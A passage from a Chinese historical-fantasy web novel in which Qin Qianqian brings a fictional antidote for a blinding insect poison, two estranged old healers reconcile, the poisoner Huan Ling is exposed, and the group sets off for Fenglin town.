姜千秋低头笑了一声，身子稍微往闫阿婆这边侧了侧，而后抬手晃了晃闫阿婆腰间的葫芦。
“阿婆，你怕她偷，所以挂在了腰上。可是你再仔细看看，她已经偷走不少了。”
闫阿婆一脸震惊地晃晃巴掌大的葫芦，的确是少了一大半啊！而后她也是释然地笑了，她朝姜千秋竖了个大拇指。
原本闫阿婆就是要倾囊相授的，包括这瓶解药，也是要给秦千千的。可姜千秋却不赞成，秦千千的本性她知道，若是真的送她解药，她就不想学繁杂的制药手段了。
“你现在这么一安排，她不仅学了手艺，还拿到了一些药，真是一举两得啊！”
闫阿婆啧啧称赞，谁知姜千秋却突然蹲了下去，隐藏在篱笆院墙下面。闫阿婆奇怪地张望，难不成是秦千千杀回来了？
一会儿，姜千秋才起身跟她解释。
“刚刚千千回了头，我是担心她看到我。”
“回头？那么远你也能看见啊！不过她回头干嘛？”
两人一同进屋，姜千秋背着手跟她解释：“她啊，是怕你发现偷药的事情，转头看你没追上来，撒丫子跑路了。”
“嗨呀……”闫阿婆真是被无语笑了。说完玩笑话，姜千秋神情严肃了起来。
“阿婆，你放心，在千千再次回来前，我会把您儿子带回来，让你见他最后一面的。”
闫阿婆知道她是个说话算数的人，赶忙点头。她想起自己作恶多端的儿子，又忍不住老泪纵横起来。
秦千千转头看闫阿婆没有追过来，她扛着拐杖就跑了，虽然脚踝还疼，但现在也是完全顾不上了。一路跑到梁晨家，秦千千觉得不能多待。
她雇了梁晨，带她回涌泉镇。梁晨答应了，正好她也要去镇上买点蜡烛什么的。又因为秦千千很着急，她们两个子时出发，一路奔波终于在巳时看到了山下的涌泉镇。
秦千千万万没想到，她当时跑了那么远。虽说她拄着拐杖走不快，但两个人也是马不停蹄地走了三个半时辰。
“快了，我们下了山，再走几里山路就到了。”
梁晨跳起来抖了下背笼，一脸兴奋地说。秦千千本来就在咬牙坚持，现在一听这话，真的有点想死了。
“好，那我们继续走吧。”
好在秦千千在客栈中还留了一些钱，她执意带着梁晨先去客栈，从行囊中拿出一百两的银票，塞给梁晨。
“不……我不能要你这个钱！”
秦千千本以为她之前说什么神佑，什么不要她的钱，是客气的说法。现在看梁晨急眼了，她才知道梁晨当时是真心那么说的。
“哎呀，你快点拿着，待会儿你去买东西，我还得赶去找我的伙伴。晚上，你就来这里，我们一起吃一顿饭好吗？”
都说善有善报，秦千千是打心底里感谢她。梁晨看她言辞恳切，又不容商量的样子，只好接过那钱。
出门前，秦千千还嘱咐她，收好别被别人抢了，两个人收拾好后，这才下楼分道扬镳。秦千千更是衣服都没来得及换，就这么脸脏脏的、衣服脏脏的，跑去了洞天福地。
白邵禾他们早就吃完了早饭，除了桃花花，全都在一言不发的沉默。王老怪更是坐在那框地婆拐前面，跟它们较劲儿。
“回来了，各位我回来了！”
秦千千一路跑过来，进了洞穴差点没停住，好在白邵禾一直站在门口，伸手扶了她一把。
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>她这算是消失了两天一夜，白邵禾看着她一身破破烂烂的样子，就问她怎么摔成这样了。
“是啊，千千，你这脸上怎么还多了几道刮伤？”桑风雪皱着眉问她，桃花花也在上下打量她的衣服，破的破，烂的烂……
晏信赶忙跑过来，正准备开口说什么，秦千千就打断了他们的话。
“没时间解释这个了。来来来，我找到了解药，你们现在就赶紧抹到眼上。”秦千千从怀中掏出那一瓶解药，看了一眼白邵禾，转头把解药递给王老怪。
“切记，这个东西抹完，两个时辰不能睁开眼睛。两个时辰之后，我过来找你们。一人也别抹多了，就这样，在眼皮上抹两道就好。”
秦千千闭上右眼，拿并拢的拇指食指给她们示范了一下。王老怪疑惑地多问了一句，若是不能睁眼，那能不能用布条把眼裹上。
“当然不行，这药有毒性，得通风透气。所以你们抹上以后，千万不要到处乱跑了。我得去找领婆婆，现在那人在哪我还不知道呢。”
听到秦千千这句抱怨，在场的所有人都震惊了，她是怎么认识领婆婆的？
“千千，这个领婆婆，我们找到她来给我们看病，还给我们带了一筐地婆拐。你若是想去找她，门口的仆从可以带你去的。”
桑风雪开口跟她解释，秦千千说着那太好了。她给桑风雪她们展示，自己包里也有几根地婆拐。鉴于要去教领婆婆，秦千千就带走了那框地婆拐。
跟着王七走街串巷，她们终于到了领婆婆家门口。由于常年行医，领婆婆家的大门向来是不关闭的。
秦千千站在门口深吸了一口气，跟着王七走了进去。
“小姐，这位就是领婆婆。”王七用手一指，那个在石磨边研磨药材的老妇人，跟着转过头。
秦千千跟闫阿婆有约在先，她清了清嗓子，走到领婆婆眼前。
“你这个老不死的臭婆子！没想到，这么多年来，你还没死呢！”秦千千指着她鼻子骂道，领婆婆刚开始一脸错愕，而后眼神中闪过一丝兴奋。
不知为何，甚至要喜极而泣了。
随行的王七也惊呆了，这两个人什么时候有这种恩怨？
屋中的领竹听到动静跑了出来，正准备跟眼前辱骂她娘的疯婆子吵起来的时候，领婆婆抬手制止了她。
而领婆婆一把抓住秦千千的手，装若癫狂地死死钳住她手腕，语气却轻声细语的。秦千千心想，这俩人不愧是挚友，劲儿真大啊！
“教你说话的人，她在哪？她现在好不好，身体还硬朗吗？”
秦千千使劲儿挣脱她的手，却没挣脱开。她只好就范，开口回答领婆婆。
“她啊，好着呢。听说一个人跟村上十几家人吵架，都没带怂的。而且，那力气，不比你这劲儿小。昨天还一把给我推地上了……”
她话音刚落，领婆婆倏然松开钳制她的手，然后在她肩头一推，也把她推到了地上。
“怎么样？是这个力道吗？”
秦千千本来就浑身痛，这下又来了屁股墩儿，要不是打不过她，秦千千高低要把这人暴揍一顿的。
什么尊老爱幼，现在的老年人，一个比一个过分啊！
28. 姐妹重逢
领竹也没见过这个架势，她赶忙跑过去扶起秦千千，王七站在一旁发呆。秦千千站起来后，一脸莫名其妙地看着领婆婆。
“你们两个不愧是好朋友啊，就伤害我这事儿上，你俩真是难分伯仲。”
领婆婆笑着过来帮她掸掉身上的土，秦千千甚至还后怕的躲了两下。领竹在一旁偷笑，秦千千跟王七打招呼，让他回去照顾那些人。
“来来来，快进屋吧。闫阿婆都是跟你说什么了，快点给我说说。领竹啊，去端一壶茶过来。”
秦千千一路赶来，早饭还没来得及吃，只在晚上赶路的时候吃了个窝窝头。现在比起茶，她更想吃的是一顿热乎乎的早饭。
听她这么说，领竹点头出去给她买饭，秦千千跟着领婆婆进屋。领婆婆本来人就挺和善的，更别说现在笑靥如花了。
“婆婆，我就不跟你说有的没的了，闫阿婆是让我过来教你厌光瓢的治疗办法的。这是你那次送去的地婆拐，走吧，我演示给你看。那个制作方法还挺复杂的。”
秦千千放下背上的背笼，趁着领竹买饭还没回来，她就让领婆婆带她去制药坊，一字一句地说起解药的炮制过程。
地婆拐之所以会发光，就是因为有种蕨类上覆盖了一层细小的虫子。而这种虫子跟厌光瓢其实是一种东西，只不过雄虫寄生在动物身上，有剧毒，能致盲。
而雌虫栖居于蕨类身上，没有毒性，还会发出幽白的光。雌雄虫□□后，雄虫就会迅速死亡。
而且厌光瓢，也就是雄虫，若是雌虫的光芒过于强大，有些孱弱的雄虫会被闪死。可除了雌虫身上的光，没有东西能闪死雄虫了，就连太阳也不行。
“这就是解毒的思路，我们要把地婆拐上面的雌虫弄下来，涂在眼皮上，引诱二者□□。”
秦千千记性非常好，闫阿婆跟她说的话，她记得清清楚楚的，一字不落地转述给领婆婆。领婆婆若有所思地点头，让她继续说下去。
“不过雌虫习性特殊，它们离开地婆拐，会马上死亡。因此不能用刀刮下来。水浸更不行，雌虫碰到水后会垂死挣扎，在这期间会产生比雄虫还强的毒性。”
领婆婆制药多年，她脑中灵光一闪：“用细陶土炒怎么样？”
“太对了！闫阿婆还跟我说，你一定能猜出来呢。她还说，你要是猜不出来，就让我骂你两句的。”
秦千千忍不住给她鼓掌，也不止为了领婆婆，而是为了两个人的友谊。刚好把地婆拐埋进填满陶土的锅里，领竹就回来了。
于是，秦千千终于能吃到热乎乎的馅饼了。
“桑姐姐，我们真的不能睁开眼睛吗？”
桃花花天生闲不住，现在让她坐在那里一动不动，甚至连眼境都不能睁开，真的快把她急坏了。
“这还是听你们老板的吧！我看她在正经事情上挺靠谱的，不过我好奇的是，她怎么像在山里打滚了一样，身上还有不少擦伤呢。”
白邵禾挑了下眉，王老怪的洞察力还是挺细致的。那伤口让他看来，也是擦伤。具体怎么回事儿，估计要等秦千千自己回来说了。
“是啊，千千既然这么说，那我们就等。”
“可是千千怎么不在这里守着我们，她着急的去哪里了呢？”晏信不安地开口，现在可真是两眼一抹黑，什么都不知道。
“我们现在什么都做不了，唯有等她回来。现在忧思过多，一点用也没有。”白邵禾的语气听不出情绪，但这话听得晏信心里不开心。
晏信怎么想都觉得白邵禾很奇怪。他总是在秦千千眼前，表现的很关心她；可在背后，他却是表现的很漠然。
想到这点，晏信顿时觉得毛骨悚然。难不成，这人有什么不轨的心思？
晏信懒得搭理白邵禾，于是自顾自地在脑中，回想起自从他和秦千千认识的细节。越想，他就越觉得自己的这个发现是对的。
不知过了多久，王七在外面跟人打招呼，那人大声地喊着她回来了。桑风雪听出来，那就是秦千千。
“各位，待会儿可以慢慢睁眼了。不过得等我扫扫你们的眼睛。”
秦千千拿着小刷子，先在桑风雪眼皮上扫了扫，而后用左手端着的温泉水，擦了擦她的眼皮。
“好了桑姐姐，可以睁眼了。”
桑风雪从来没觉得眼神如此清明过，她久违地勾了勾嘴角。秦千千塞给她一把刷子，给她示意怎么做。
那边的桃花花已经等不及了，她叫嚷着让秦千千先来解救她。
“来了来了！”
没一会儿，所有人的眼睛都处理好了。
白邵禾一睁眼，就看到了眼前灰头土脸的秦千千。他的心突然一紧，几乎是想也不想地就问她怎么了。
一旁的晏信脸色黑了下来，不得不说，白邵禾是真会装啊!
秦千千欣慰地直起腰，说起之前的事情。她一边说，一边走到泉边，跳了下去。
“我们休整一下，就回客栈歇息。”说罢，秦千千就闭上眼，她真的是累得不行了。
白邵禾他们也就不再打扰她，等她再次清醒的时候，众人结伴回了客栈。而梁晨，刚好就坐在客栈等她们。
秦千千恢复了一点精神，她走上前给各位介绍梁晨。
“这就是救了我的恩人，梁晨。”
众人一一跟她打了招呼，秦千千让桃花花在这里陪着梁晨，她要上楼换个衣服。桃花花闲不住，她拉着梁晨就跟她聊了起来。
“梁晨姐姐，你是怎么捡到千千的啊？这一点她死活不愿意跟我说，我都快着急死了。”
梁晨一脸难为情，秦千千不说，那肯定是不想给她们知道丢人的额过往……于是在她纠结要不要说的时候，小二端着菜开始上菜了。
“这个，你还是问千千吧，我不能说的。”
白邵禾坐在对面，他眉尾微挑。看这两个人都守口如瓶的样子，那八成不是什么光荣的事情。
酒菜上桌，秦千千也换好了衣服下楼。她跟梁晨坐在一条板凳上，而一桌八个人，刚刚坐满。
“各位
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，最近没少忙，咱们还是赶紧吃饭吧。吃完，明天我们还有事情要做呢。”
跟闫阿婆学药的时候，闫阿婆告诉她，让她救完朋友后火速赶回来。只有这样，才能抓住下毒的真凶。
她还交代秦千千一个不算任务的任务，带领婆婆过去。
众人休整一晚上后，一大早就在梁晨的带领下出发了。黄昏时分，众人终于赶到了四周都是山坡的村落。
白邵禾环顾四周，好奇地问秦千千：“你不会是从上面滑下来的吧？”
秦千千满脸无奈地点头，现在看来，自己没断胳膊断腿，真的是上天保佑了，那山坡是真的高啊！
随行一路，梁晨也跟大家熟了起来。她指着四周最不陡的地方，跟大家说：“千千就是从那里滚下来的，还砸塌了我家的鸡窝。”
“噗……”元德实在没忍住，可在他刚有反应的时候，秦千千眯着眼瞪他。
“元德，你是不是想让我扣你月俸了！”
白邵禾低头无奈地笑，好吧，他算是知道秦千千为什么不说了。他发自肺腑的开心，落在晏信眼里，却觉得他还是在装。
桑风雪时刻记得还有凶手要抓，她催促大家别笑了，得赶紧去那位闫阿婆家里。一旁的领婆婆也是急得不行。
“千千啊，你给我说说，闫阿婆住在哪里，我要现在去找她。”领竹搀着领婆婆，领婆婆看起来急得不行。
秦千千懂她的心情，便招呼梁晨先回去，她们要直接去找闫阿婆。而闫阿婆，早就在家里煮好了茶，坐在院子中，等她们来。
宦凌被五花大绑地捆在院子中，闫阿婆闭着眼躺在摇椅上，她时不时抬眼看一下宦凌。也就只有看到宦凌时，她眼神中才流露出一丝悲悯。
宦凌正好相反，他跟闫阿婆对视的时候，眼神狠厉的，仿佛要扒了她的皮。可捕捉到她眼神中的不忍，宦凌就换了思路准备打感情牌。
“娘！你就忍心看着我被她们弄死吗？我做错了什么，我都承认，你快点放我走吧！”
闫阿婆不忍地闭上眼睛，为了这声娘，她已经放任宦凌在外作恶数十年了。现在，她决定不要一错再错下去。
“宦凌，你要是还认你娘我，又怎么会跑回来杀我？就是因为仅你破解出的厌光瓢，解药被我研制出来了吗？”
秦千千带着她们走到院子边，众人就听到有人在里面吵什么。领婆婆情难自抑，直接快跑两步推开了大门。
闫阿婆愤恨的表情还留在脸上，看到来人后，脸上的表情十分复杂。领婆婆一脸感慨地进院，朝她走过去。
让大家都没想到的是，闫阿婆从凳子上起身，扑通一声跪在了地上。领婆婆赶紧去拉她起来，闫阿婆却直勾勾的看着她，眼神中都是悔恨。
“阿姐，原谅我，我求求你，你原谅我吧。”
秦千千她们站在后面愣住了，不知道这两个人有什么恩怨……秦千千转头看到宦凌，她眼睛一下子瞪大了。
“就是他！在江郎府上要把我做成傀儡的人！”
29. 婆婆们的往事
宦凌栽在姜千秋手里的时候，他就知道会有这一天。而他丝毫不后悔当时的所作所为，他只是可惜，自己当时动手应该快一些的。
白邵禾走上前，元德也跟着上前辨认。
的确就是那个人。
闫阿婆看到人都围了过去，她拉着领婆婆的手，带她走了过去。领婆婆看到地上跪着的人时，也是大吃一惊。
领竹不知道发生了什么，她就默默地跟在她们身后。
“你这天杀的，还不赶紧给领婆婆磕头认错？”闫阿婆的眼中毫无悲悯之情，取而代之的是满眼愤怒。
一向仁爱的领婆婆也是一脸愤恨，她过去直接给了宦凌一巴掌。这一巴掌，把在座的所有人都扇蒙了。
秦千千嗅觉敏锐，她赶忙拉开领婆婆，顺便让桃花花也把闫阿婆带走。然后，就是发挥清风酒楼的专长——挖掘背后的故事。
两位阿婆对视一眼，都无奈地叹了口气。秦千千赶忙给二位斟茶，让二位不要那么生气。
“两位婆婆，上次这人差点把我弄死，还好我朋友们来的及时。他当初要把我做成什么傀儡还是人干的……”
这是秦千千的套话第一要义，不能逮着人问什么，而是要自然而然地抛出话题，悄悄降低她们的心理防线。
果然，领婆婆先开了口。
“闫妹，当初我就想跟你说，这事儿不是你的错。你看，宦凌离家出走后，不还是在继续坑害别人吗？”
说罢，领婆婆摸了下秦千千的头顶，满脸抱歉地看着她。
“我代闫阿婆跟你说声抱歉，宦凌这孩子，打小就不让人省心。既然话都说到这里，那我们索性把事情都说开。”
秦千千看着这事儿有门儿，她赶忙朝白邵禾他们挥挥手，让他们过来。而秦千千起来帮闫阿婆去屋中搬凳子，晏信要帮忙，却被闫阿婆拒绝了。
屋中只有两个人的时候，闫阿婆神秘兮兮地跟她聊了两句。
“可惜，真是可惜。”
“阿婆，可惜什么？”秦千千提起两个凳子，就立马出门。谁知道闫阿婆拉住了她的胳膊。
“你回来的还是太晚了，早回来三个时辰，你就能见到她了。”
说完，闫阿婆深藏功与名地看着她，仿佛在看热闹一般。
秦千千自然知道她说的是谁，她激动地扔掉手中的凳子，走到阿婆眼前问，主人还有没有说别的什么。
“她啊，她说你这次干得不错，下次见面时，要好好奖励你一下的。”
说罢，闫阿婆从怀中掏出一个四四方方的盒子，上面还有依稀分辨的出的暗纹。秦千千认得那盒子，那是姜千秋亲手做的八愈丹，吃了外伤骨折什么的，都能好的特快。
“那里有水，快吃完帮忙搬凳子啊！”
秦千千拿着那药嘚瑟半天，依依不舍地吃完药后，把盒子揣进怀里了。不为别的，留个纪念也好。
人都就位后，领婆婆仿佛在纠结什么，很难开口。秦千千正准备劝她，闫阿婆潇洒地开口，说她来说。
“我和领姐自小一起长大，十几岁时，一起拜了村中的巫医学医。长大后，我们两个都未婚配，整日过着济世救人的日子。”
闫阿婆提起之前的事情，脸上洋溢着幸福的表情，秦千千不由得跟着她一起笑。
别的不说，她只是想起自己跟主人形影不离的日子。那时候，自己什么都不需要考虑，日子过得十分逍遥快活。
白邵禾注意到了她若有所思的表情，他现在丝毫不敢看低秦千千。只不过她想的如此出神，白邵禾猜测她是不是在想姜千秋的事情。
“有次出诊的时候，两家人吵架，然后斗殴，最后拿刀互砍。两家人最后只剩各自的一个孩子……”
说到这里，闫阿婆抬头看着宦凌，宦凌眼神中也是难以置信。他素来知道自己不是亲生的，可不知道原来事情是这个样子。
而领婆婆也眼神复杂地看着领竹，领竹抿着嘴握住领婆婆的手。领竹打小就知道，她是婆婆捡来的。只不过当年的事情，婆婆不说，她也无从得知。
“宦凌要比领竹大五六岁，我跟领竹有眼缘，就带走了她。闫妹就带走了宦凌，可宦凌从小顽劣，这我们都知道。等他十几岁的时候，我那时刚好接诊了个被厌光瓢感染的人。”
领婆婆开始说了起来，闫阿婆坐在旁边，一脸懊悔地抿着嘴。
“我居然听信了那个孽障的话，说是你导致他感染了厌光瓢……”闫阿婆留下了悔恨的泪水。
当初就是因为这个事情，她们多年姐妹反目成仇，领婆婆这才带着领竹离家外出，前些年才近乡情怯地在涌泉镇落了脚。
听到这里，宦凌虽然跪在地上，但他笑得嚣张。
“谁知道你那么蠢，我只是拿了块儿布料，诬陷那老太婆，你就信了！”宦凌丝毫没有愧疚之心，还在无情地嘲讽两位老人。
秦千千觉得他真是聒噪，就皱眉跟元德说：“元德，你去给他几脚，再把他嘴给我塞起来。”
“不用了，他想说就让他说罢。”闫阿婆这话一说，秦千千十分不认同。慈母多败儿，这孩子都成这样了，还要娇惯他吗？
“待会儿他就死了，现在多说两句也无妨。”
听到这句话，不止秦千千老实了，宦凌也老实了。宦凌不止老实了，他还彻彻底底的怂了。
“娘！你不能这么对我！我错了，我真的错了！”
恶人，秦千千见的多了。那种口蜜腹剑的人，她也有见识过。可像这种前一秒还在破口大骂，下一秒就痛苦求饶的人，她还是第一次见。
领婆婆也有些错愕，她拉着闫阿婆的手，问她这孩子还惹了什么事儿。闫阿婆长叹了口气，这才娓娓道来。
“领姐，你就不用给我面子了。近些年的厌光瓢，全都是他下的毒。还有很多无辜的人，跟千千一样，被他抓去做傀儡。简直是求生不得求死不能。”
累累罪行被揭露，那边的变脸大师又开始甩锅了。宦凌叫嚣着他是被冤枉的，那是江郎逼他去做的，他本意不是这样的。
“你放屁！江郎的大院，你可是座上宾。被逼的、被挟持的人应该是我那种待遇，而
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不是你那种，所有人都喊你二当家的存在。”
秦千千越说越生气，她指着宦凌就骂了起来。
宦凌最后的遮羞布也被撤掉，他彻底气急败坏起来，猛地起身，朝秦千千撞了过来。
好在白邵禾眼疾手快，一脚把他踢得飞出去，顺带把秦千千护在身后。
宦凌被踹的吐了口血，他被捆住手，实在没办法擦去嘴角的血迹。都这时候，他也不在乎这些了。
要他死是吧？那就要拉着所有人下场。
“江郎那个死断袖，不知道为何不让我杀你。好在我给你们下了毒，可惜的是，没有毒到你！还有，你这死老太婆，你为什么要带我回来？我就应该死在那晚。”
白邵禾捕捉到了一个信息，难不成，这宦凌不知道江郎已经死了？还是说……
想到什么，白邵禾转头看了一眼秦千千。她正在专注地跟宦凌对骂，不过保持安全姿势，一直站在白邵禾身后。
宦凌多少也是了解一些秦千千的背景的，在她骂的起劲儿的时候，他奸邪地笑了笑。甚至不能自抑地用头，撞了撞地面。
秦千千心中暗道不好，他一定是要说出自己主人的事情！
“元德，你快去堵住他的嘴，别让他再瞎说了。”
元德跟白邵禾交换了个眼神，就知道自己不该去的。元德慢吞吞地起身，还没走到地方，宦凌就把那些事情说了出来。
“姜千秋为了帮你，可是下了太多血本了，亲自抓了我，还得送到你手上。秦千千，你这个没用的怂货！”
白邵禾眼神微颤，险些维持不住面子上的镇定。作为行走江湖多年的老油条，宦凌把他这种伪装看得清楚。
“怎么？你跟你的朋友们，没说清你的真实身份？秦千千，你真笨的跟猪一样，万一他们中，有谁是冲着你主人来的……不，你也没什么优点，让他们冲你来吧！”
他一手挑拨离间玩得溜，一句话，让他们几个人都坐不住了。晏信跟白邵禾都蹭地站起来，晏信先一步开口，力求证明自己的清白。
“你一个将死之人，乱说什么呢？什么主人，我告诉你，你再诋毁千千，我真的会杀了你。”
秦千千转头看了他一眼，仿佛用眼神跟他道谢。白邵禾稳步走过去，走到宦凌身边，他蹲在他面前。
“别在这里挑拨离间了，将死之人，你以为你说的事情，我们会信吗？”
白邵禾这话算是把他的阴谋论悄悄揭过去了，谁知宦凌看出了他的意思，他仰天长笑。而后死死盯住白邵禾，面带狡诈地开口。
“哦？是吗？那我就跟你们明说了，姜千秋刚走两个多时辰，而且她下一站就是枫林镇。别怪我没提醒你们，江湖上能得到她的确切消息，那可真是很不容易的。追不追，就看你们了。”
白邵禾垂眸起身，转身回到了秦千千身边。
秦千千没察觉到他有什么不对劲儿，而她也很好奇，这几个人中，真的有人是奔着主人，才跟她交朋友的吗？
若真要说怀疑谁，秦千千其实是有一个怀疑对象的……
30. 出发前往枫林镇
“行了，别听他胡说了。这次他作恶多端，我是不会再放过他的，你们有仇的报仇，生杀大权就交给你们吧。”
闫阿婆话虽然这么说，但她脸色依旧凝重。秦千千让元德看好宦凌，自己则是又坐在了闫阿婆身边。
那一边被叫带走的宦凌，还在喋喋不休地咒骂这她们，反正是逮到谁骂谁，怪天怪地，甚至还叫嚣着怪自己作恶多端的父母。
元德强行把他嘴堵上拖去后院柴房，闫阿婆这才叹了口气，说出一直埋藏在心中的事情。
原来当年的事情另有隐情，那两家人虽然有矛盾，但并不是水火不容的地步。险些让两家灭门的，另有其人。这事儿也是闫阿婆最近才知道的。
“也就是说，宦凌刚刚说的，他天生坏种这个事情，是不存在的。”秦千千也忍不住唏嘘，这宦凌的作恶之路真奇怪。
都到这个地步了，这人居然还能报错归咎于别人……
领婆婆也一阵感叹，要知道自小宦凌就是个聪明孩子，所以自己才会尽自己所能去教他。
而这孩子也没辜负自己的所望，十几岁的时候，就研制出了厌光瓢的解药。虽然，他借口厌光瓢，让自己和闫妹恩断义绝吧。
“阿婆，现在既然事情都真相大白了，那你们就别管我多管闲事儿。您二老也该互相来往一下了，都几十年的交情了，因为这个分开太可惜了。”
闫阿婆如释重负地点点头，领婆婆则是从袖子里掏出一张鹅黄色的手帕，塞给闫阿婆。
“当年你跟我断绝关系的时候，我从你家偷走的。现在，我终于能还给你了。”
“你啊！”闫阿婆笑着指了指她，“你都没有想过，我不放在那里一张新的手帕，你上哪里偷去！”
众人都颇为感慨地离开，秦千千还叫走了领竹，专门给二位留下一些独处的空间。
而事情解决的差不多了，秦千千她们也开始商议起离去的计划。
“哎！想什么呢王老怪，我刚刚问你明天出发，怎么样。”秦千千推了一把王老怪，不知道他从进了门就在想什么，一直一言不发的。
王老怪被推的一个踉跄，但他站稳后也没有生气，而是忍不住感慨。
“我是在想，真真是天外有天啊。这等小山村里，我怎么也想不到，有两位医者仁心的高人，还有一个天赋异禀却走上歪路的人。”
秦千千暗中观察领竹的表情，她的表情还是非常体面的，只不过秦千千察觉出一些微妙……
她自然地以为，夸了一圈人，没夸她，她不开心这也正常。
“行了，别说有的没的了。你们没什么异议的话，我们明天回客栈拿东西，然后直接出发。”
白邵禾泰然自若地不吭声，他在等，等某个可疑的人跳出来。果不其然，晏信这个笨蛋出来问秦千千。
“千千，咱们下一站去哪里？”
听到晏信问完，白邵禾心中不屑地冷哼一声。这人真是怕别人怀疑不到他身上吧？现在问这个，是不是有些太唐突了？
不知秦千千有没有起疑，桑风雪和桃花花都不解地看着晏信，晏信丝毫没有察觉出来不对劲儿。
“下一站，我们就去枫林镇。宦凌那么一说，若是不去枫林镇，显得我多不信任你们一样。我相信我们所有人，所以咱们全都去枫林镇。”
秦千千没心没肺地说着，白邵禾不由得咬了下后槽牙。她说的体面，谁都不怀疑，可这也相当于怀疑所有人。
他是不支持去枫林镇的。若是秦千千她们不去，那他的手下查起来，还是很肆无忌惮的。可若是秦千千去了，那就得整队戒备小心行事。
不过，白邵禾放过这个话题，他觉得自己现在要做的，那就是谨言慎行。
今晚几个人就住在闫阿婆和梁晨，以及左邻右舍家里。毕竟，一天之内要来一个往返，那真的太累人了。
秦千千理所应当的带着桑风雪和桃花花，住到了梁晨家里。只不过，她晚上回去的很晚。她等人走后，跟闫阿婆在聊姜千秋的事情。
也就是这时，秦千千才发现，闫阿婆家里居然还有两张床。
“阿婆，你瞧瞧你家那么大的两个床，怎么就容不下我那天投宿……”
说到一半，秦千千的眼睛突然瞪大。在昏暗跃动的烛光中，闫阿婆都看到了她震惊的表情。她笑弯了腰，坐在床边拍了拍床。
“没错，那天千秋在这里。所以别说我这里多两张床，多两百张床，你那天也不能留下来。”
察觉自己深深被糊弄的秦千千，捶胸顿足地离开，她内心实在是受了太大的伤害了。
等她走后没一阵儿，领婆婆和闫阿婆就睡了。而独自睡在一张床上的领竹，蹑手蹑脚地起来去后院。
白邵禾他们本来要均个人，留在这里看宦凌的，可闫阿婆却说不用。她已经给宦凌喂了药，包他一个月都四肢无力，喘气都困难，更别说反击什么的了。
察觉到有人来，宦凌强行支起了头。天色昏暗，他看不清来人，直到那人走进柴房，蹲在他面前。
“你来了？”宦凌丝毫不意外。
领竹席地而坐，轻微地点点头。
“我很感谢你没有把当年的事情说出来，你守住了我们的诺言。只不过我好奇，你为什么要这么做。”
为什么要伤害自己的同时，却又在保护自己。
领竹一脸不解，这件事情，她真的想不明白。
为什么这人要说谎？
为什么要冒领自己的功劳。治疗厌光瓢的方子，明明是她想出来的。不过她的方子更显恶毒，跟现在闫阿婆研制出来的完全不同。
“哈！你还在生我的气？你那个方子简直是邪典，若不是我把它抢走了，那现在走上不归路的就是你。”
领竹眉头微蹙，她觉得宦凌这话说的没一点道理。宦凌的脾气也上来了，他冷笑了一声，准备继续说话。可领竹却打断了他。
“宦凌，你自小到大都在说我没有常人的感情，感觉不到喜怒哀乐。可我知道什么是是非对错，我跟在阿婆身边十几年，我从来没
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有做错过事情。所以，你没有资格再评判我了。”
这件事情，领竹跟任何人都没有说过，她没有常人的悲喜。这也就是为什么，她在小时候会觉得，杀个小鸟也没什么大不了的。
这也给她发现了，八声杜鹃的胆汁，可以治疗被厌光瓢感染的眼睛。只不过患者会极度痛苦，而且有概率致盲。
当年宦凌就是这么治好他自己的眼疾的。
只不过领婆婆发现她虐杀动物后，就告诫她不对，慢慢对她循循善诱。有些行为，领竹不懂，但她会听领婆婆的话。
“我没有走上歪路，全是仰赖阿婆的努力。而你从小打压我的那些话，永远不会实现的。”
领竹眼中向来看不出悲喜，她说完后，起身回屋。
走出柴房前，她侧头跟宦凌说了最后一句话：“你又胆小又怯懦，直到如今，你还不承认，你的坏完全归咎于你自己。”
领竹用自己亲身的经验，给了宦凌一个教训。宦凌鼻尖酸涩，眼眶湿润。是啊，自己就是胆小鬼。现在他什么都不求，但求一死。
白邵禾借故上茅房，跟元德一起在外面碰头。听到元德跟他陈述这个，白邵禾也是心生感慨，怪不得领竹整日都是不悲不喜的。
他原本还以为这是人心有城府，原来这世间还真有这等空心人。
“不过好在，她变成了一个正常人。”白邵禾感慨完，就想起了姜千秋。“元德，我们的人动身去枫林镇了吗？”
“是的，得到消息后，就立马出发了。”
白邵禾点点头，心思还在姜千秋身上。
若说领竹实在竭力装成正常人，那究竟是什么样的人，才要故作高深，神龙见首不见尾呢？
直到翌日，白邵禾也没想通这个问题。
众人只花了两个时辰就赶到了镇上。这让白邵禾发现，秦千千原本还在跛着的脚，不知什么时候就好了。
不但是脚好了，脸上胳膊上的擦伤，都不见了。
“老板，我去雇马车，客栈我也没什么东西要拿的了。”
元德自告奋勇离开，剩下的人也准备跟闫阿婆和领婆婆她们分道扬镳了。这种时候，话还是要秦千千说的。
“天下没有不散的筵席，两位阿婆，领竹。我们幸逢一面，日后回程一定再叙旧。”
说完，秦千千行了个标标转转的拱手礼。闫阿婆赶紧扶她起来，让他们一路小心。领婆婆也是笑脸相迎，祝她们一路顺风。
就这样，众人连午饭都没来得及吃，就上了路。
赶路不到一个时辰，秦千千的肚子就咕咕叫了起来。
“哎呀，你们怎么不提醒一下我，咱们也没必要着急到饭都不吃了吧！”
甩锅大王又开始操作了。
桑风雪无奈地摇头：“好在王老怪没在，不然啊，他又要说你倒打一耙了。”
她们按照男女分了两个车，因此秦千千这才放心说起一些事情。
“桑姐姐，你好像跟他很熟啊，可是我怎么不认识他？”
31. 枫林三东家
“你不认识他很正常，我跟他是在江湖上认识的。当时，你主人，她跟我们浪迹江湖呢。”
秦千千说不羡慕是假的，此行出来虽然凶险万分，但她还是很开心。
“天天在酒楼里，虽然坐享天下事。但不是亲身体会，我还真想不到这种波澜壮阔和跌宕起伏。就像，打死我都想不到，能给我见到传说中的‘空心人’。”
“啊？什么空心人？”桃花花本来沉浸在手上新买的荷包上，听到这话，她好奇地开口。
“就是领竹啊！你们没发现，她什么都是淡淡的吗？而且哪怕有反应，也是很浮于表面，像是演出来的。”
虽说闫阿婆和领婆婆她们的故事，秦千千的情报收集库压根没收集，但空心人这种稀奇的事情，她还是有所耳闻的。
“本以为按照我们这个遍布天下的眼线，此次出行就是来玩的。可现在看来，压根不是这样子的。我们收集的消息太过特殊，归根结底，不可能做到全知全能了。”
说起这里，秦千千面带惋惜，这是她出行第一次跟人谈起生意上的事情。没别的原因，除了眼前的两个人，她谁都不放心。
“不过你也别太担心了，我觉得你一路过来做得挺好的。而且不知道那么多，当发生什么的时候，才会有惊喜啊。”
桑风雪向来就是如此，她遵从既来之、则安之的遇事准则。
不过她也能理解千千现在的心情，她之前可是掌控八方消息的人。现如今却要走一步看一步，这对她来说，的确是个挑战。
秦千千沉思良久，还是遗憾地摇摇头。
“有件事情，我不得不告诉你们，你们千万不要放松警惕了。”
